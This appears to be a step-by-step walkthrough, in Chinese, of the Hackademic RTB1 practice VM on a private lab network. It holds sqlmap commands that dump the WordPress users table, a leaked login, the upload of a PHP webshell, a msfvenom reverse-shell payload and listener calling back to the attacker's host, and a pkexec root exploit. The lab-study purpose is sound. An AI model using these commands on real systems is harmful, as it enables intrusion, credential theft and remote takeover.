1.通过namp扫描自己的网段找到靶机的ip地址
2.扫描靶机开放的端口和服务
3.扫描靶机的操作系统
4.扫描靶机服务系统
5.扫描靶机的目录
6.访问网页
7.发现在网页URL中有数字传参尝试更改
8.更改后
9.猜测其有sql注入,使用sqlmap进行扫描(aa.txt为疑似存在sql注入页面的请求报文)
10.扫描数据库版本:sqlmap -u 'http://192.168.253.168/Hackademic_RTB1/?cat=1' -b
11.扫描库名:sqlmap -u 'http://192.168.253.168/Hackademic_RTB1/?cat=1' --current-db
12.扫描所有库:sqlmap -u 'http://192.168.253.168/Hackademic_RTB1/?cat=1' -–dbs
13.获取数据库'wordpress'中的表信息:sqlmap -u 'http://192.168.253.168/Hackademic_RTB1/?cat=1' -D 'wordpress' --tables
14.查看wp_users的列信息:sqlmap -u 'http://192.168.253.168/Hackademic_RTB1/?cat=1' -D 'wordpress' -T 'wp_users' --columns
15.爆破表中的数据:sqlmap -u 'http://192.168.253.168/Hackademic_RTB1/?cat=1' -D 'wordpress' -T 'wp_users' -C 'user_lastname,user_level, user_login, user_nicename, user_nickname, user_pass' --dump
16.在http://192.168.253.168/Hackademic_RTB1/进行目录扫描:dirsearch -u http://192.168.253.168/Hackademic_RTB1/
17.访问网站找到登录口拿之前报出的用户进行登录
18.找到到其中的高权限用户进行登录(password 'q1w2e3' for user 'GeorgeMiller)接着到如图页面开启文件上传功能加上PHP的后缀名方便我们上传木马
19.来到文件上传页面进行文件的上传
20.上传成功并返回了路径给我们
21.使用哥斯拉连接,通过之前的提示我们来到root发现没有权限访问,又因为是Linux系统所以我们使用msf进行提权
22.生成msf的木马:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.253.142 LPORT=9999 -f elf -o msff94.elf
23.开启msf的监听:
use exploit/multi/handler #进入监听模式
set payload linux/x86/meterpreter/reverse_tcp #设置payload
set lhost 192.168.253.142 #设置监听机
set lport 9999 #设置监听端口
run
24.使用哥斯拉执行文件
25.使用msf进行提权:首先将服务挂到后台使用background,使用session -i查看session信息
26.加载模块:use post/multi/recon/local_exploit_suggester 在使用session id ;run进行扫描
27.使用攻击模块:exploit/linux/local/pkexec(其他扫描的结果没有效果)
28.使用ls -a查看文件,使用cat 查看目标文件得到目标